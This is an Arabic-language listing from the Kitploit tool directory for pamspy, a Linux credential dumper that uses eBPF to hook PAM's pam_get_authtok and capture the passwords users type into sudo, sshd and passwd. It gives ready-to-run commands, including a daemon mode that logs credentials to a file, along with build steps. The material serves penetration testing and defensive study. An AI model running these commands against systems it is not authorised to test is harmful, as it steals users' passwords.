Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pamspy — أداة تفريغ بيانات الاعتماد لأنظمة Linux باستخدام eBPF | Kitploit
أدوات/GitHubGitHub/citronneur/pamspy
اختبار الاختراقالمصادقة
GitHubcitronneur/pamspy

pamspy

أداة تفريغ بيانات الاعتماد لأنظمة Linux باستخدام eBPF

عرض المستودع
1.2k63منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

pamspy -- مفرغ بيانات الاعتماد لأنظمة لينكس

يستخدم pamspy تقنيات eBPF لتحقيق عمل مكافئ لأداة 3snake.

سيتتبع دالة معينة في مساحة المستخدم داخل مكتبة PAM (وحدات المصادقة القابلة للتوصيل)، والتي تستخدمها العديد من التطبيقات الحيوية للتعامل مع المصادقة مثل:

  • sudo
  • sshd
  • passwd
  • gnome
  • x11
  • وغيرها الكثير ...

Demo

كيفية التشغيل؟

pamspy مبني كملف ثنائي ثابت بدون أي تبعيات، وهو متاح على صفحة الإصدارات.

root@kitploit:~
Usage: pamspy [OPTION...]
pamspy

Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so

USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0

  -d, --daemon=PATH TO OUTPUT CREDENTIALS
                             Start pamspy in daemon mode and output in the file
                             passed as argument
  -p, --path=PATH            Path to the libpam.so file
  -r, --print-headers        Print headers of the program
  -v, --verbose              Verbose mode
  -?, --help                 Give this help list
      --usage                Give a short usage message
  -V, --version              Print program version

Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.

Report bugs to .

نظرًا لأن pamspy يعتمد على libpam، يجب علينا تحديد المسار الذي تم تثبيت libpam فيه على توزيعتك. لمعرفة مكان تثبيت libpam، يمكنك تشغيل الأمر التالي:

root@kitploit:~
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0

بمجرد الحصول على المسار، يمكنك تشغيل pamspy:

root@kitploit:~
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

طريقة سهلة لتشغيل pamspy هي استخدام الأمر التالي:

root@kitploit:~
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)

يمكن أيضًا تشغيل pamspy كخادم (daemon) عن طريق توفير ملف إخراج حيث ستُكتب بيانات الاعتماد:

root@kitploit:~
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials

كيفية البناء؟

لبناء الملف الثنائي الثابت، نحتاج إلى برامج خارجية. بالنسبة لـ eBPF نحتاج إلى clang لتجميع كود C إلى كود eBPF CO-RE. نعتمد أيضًا على bpftool لإنشاء هيكل عظمي (skeleton) من برنامج eBPF لتضمينه في برنامج المستخدم لدينا. ثم نحتاج أيضًا إلى libelf للعثور على الرمز الصحيح في libpam.

root@kitploit:~
sudo apt install make clang-11 gcc libelf-dev bpftool

ثم فقط قم بالبناء!

root@kitploit:~
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make

كيف يعمل؟

سيقوم pamspy بتحميل برنامج eBPF لاستدعاء راجع في مساحة المستخدم لربط دالة pam_get_authtok من libpam.so. PAM تعني "وحدات المصادقة القابلة للتوصيل"، ولها تصميم مرن لإدارة أنواع مختلفة من المصادقة على لينكس.

في كل مرة تحاول فيها عملية مصادقة التحقق من مستخدم جديد، ستستدعي pam_get_authtok، وسيكون pamspy هناك لتفريغ محتوى الأسرار الحرجة!

سهل! استمتع!

الشكر والمراجع

شكرًا لـ @blendin على أداة 3snake !!!

تنزيل الأداة